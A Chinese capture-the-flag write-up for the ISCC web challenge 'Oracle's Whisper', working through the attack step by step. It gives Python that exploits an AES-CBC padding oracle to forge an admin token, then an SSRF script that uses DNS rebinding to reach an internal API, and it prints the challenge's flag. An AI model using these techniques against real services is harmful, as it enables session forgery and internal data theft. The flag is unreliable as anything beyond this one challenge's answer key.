=========================
Web - Oracle’s Whisper
解题思路
1. 信息收集
访问题目地址,看到一个简单的 HTML 页面:
<h1>// ORACLE’S WHISPER //</h1>
<p>Speak to the oracle in her own tongue.</p>
<p>API surfaces: <code>/graphql</code>, <code>/login</code>, <code>/api/profile</code></p>
<!– TODO: review filter parsing before public release –>
HTML 注释提示存在 “filter parsing” 问题,暗示可能存在过滤/解析漏洞。
尝试访问 /api/profile,返回 401 并提示缺少 session。尝试 POST /login 可以获取一个 session cookie。
对 session cookie 进行 base64 解码发现是乱码,初步判断为加密数据。进一步探索发现 /api/session/decrypt 端点,其行为非常特殊:
提交一个随机构造的 session token → 400 Bad Request
提交合法 session → 200 OK 并返回解密后的内容
结合从后续泄露的 session_clue(或直接推测)——“Sessions are AES-CBC with a server-fixed IV.”——可以确定这是一个经典的 AES-CBC 填充预言机 (Padding Oracle)。
2. Padding Oracle 原理解析
AES-CBC 解密过程:
Pi = D(Ci) XOR Ci-1
其中 D 是 AES 块解密,Ci 是密文块,Pi 是明文块。
CBC 填充预言机的核心在于:服务器用不同的响应来区分"填充有效"和"填充无效"。我们可以逐字节测试倒数第二个密文块(对最后一个明文块而言即为 Ci-1),通过修改 Ci-1 的某个字节来操纵解密后的填充值,直至服务器返回"填充有效",即可解出中间值 D(Ci),进而恢复明文。
具体求解公式:
D(C_last) = 暴力枚举 C_last-1 变体,找到使填充有效的值
P_last = D(C_last) XOR original_C_last-1
3. 利用 Padding Oracle 伪造 Admin Token
目标: 构造一个解密后为 {“user”:“oracle”,“role”:“admin”} 的 session token。
已知或推测的 session 结构为一个 JSON 对象,含 user 和 role 字段。我们需要构造三段明文:
P2 = {“user”:“oracle” (16 bytes)
P3 = ,“role”:“admin”} (16 bytes)
P4 = PKCS7 padding \x10*16
采用从后往前的构造方式(CBC 特性:修改 Ci-1 可以控制 Pi):
随机生成 C4(最后一个密文块)
利用 oracle 解出 D(C4)
计算 C3 = D(C4) XOR P4,使最后一块解密为全 \x10 padding
利用 oracle 解出 D(C3)
计算 C2 = D(C3) XOR P3
利用 oracle 解出 D(C2)
计算 C1 = D(C2) XOR P2
最终 token = base64url(C1 + C2 + C3 + C4)
def oracle(blob: bytes) -> bool:
“““返回 True 表示填充有效,False 表示填充无效”””
token = b64u_enc(blob)
r = requests.post(f"{BASE}/api/session/decrypt", json={“token”: token})
return r.status_code != 400
def discover_D(C: bytes) -> bytes:
“““通过 padding oracle 解出中间值 D(C)”””
D = bytearray(BS)
for pad in range(1, BS + 1):
idx = BS - pad
for guess in range(256):
forged = bytearray(BS)
for j in range(idx + 1, BS):
forged[j] = D[j] ^ pad
forged[idx] = guess
if oracle(bytes(forged) + C):
消除误报:pad=1 时需要二次验证
if pad == 1 and idx > 0:
test = bytearray(forged)
test[idx - 1] ^= 1
if not oracle(bytes(test) + C):
continue
D[idx] = guess ^ pad
break
return bytes(D)
从后往前构造
P2 = b’{“user”:“oracle”'
P3 = b’,“role”:“admin”}'
P4 = bytes([16]) * 16
C4 = os.urandom(BS)
D4 = discover_D(C4)
C3 = bytes(D4[i] ^ P4[i] for i in range(BS))
D3 = discover_D(C3)
C2 = bytes(D3[i] ^ P3[i] for i in range(BS))
D2 = discover_D(C2)
C1 = bytes(D2[i] ^ P2[i] for i in range(BS))
admin_token = b64u_enc(C1 + C2 + C3 + C4)
运行后获得 admin token,携带该 token 访问 /api/profile:
{
“email”: “oracle@oracle.local”,
“internal_endpoint”: “http://internal-api:6000/cache/template”,
“internal_token”: “0ce471fa7d5f430dcfd6318ce20e3558”,
“role”: “admin”,
“session_clue”: “Sessions are AES-CBC with a server-fixed IV.”,
“uid”: “oracle”
}
4. SSRF + DNS Rebinding 读取 Flag
从 profile 信息可知:
内网存在一个 API http://internal-api:6000/cache/template
需要一个 X-Internal-Token 头进行鉴权
题目提供了 /api/webhook/test 端点,可以让服务器发起 HTTP 请求(SSRF)
但直接请求内网地址会被限制,需要绕过。使用 DNS Rebinding 技术:
http://7f000001.01010101.rbndr.us:6000/cache/template?name=/flag
7f000001.01010101.rbndr.us 是 rbndr.us 提供的 DNS Rebinding 服务——域名解析会在 127.0.0.1 和 1.1.1.1 之间随机切换,从而绕过 SSRF 的地址检查。
target_url = “http://7f000001.01010101.rbndr.us:6000/cache/template?name=/flag"
for attempt in range(1, 25):
r = requests.post(
f”{BASE}/api/webhook/test",
json={
“url”: target_url,
“method”: “GET”,
“headers”: {“X-Internal-Token”: internal_token},
},
cookies={“session”: admin_token},
)
if r.status_code == 200 and “ISCC{” in r.text:
flag = json.loads(r.json()[“body”])[“content”]
print(“FLAG:”, flag)
break
多次尝试后(DNS 需轮转到 127.0.0.1),获得 flag。
Flag
ISCC{PnHCWSSKcJBm5M6ssZXV}
评论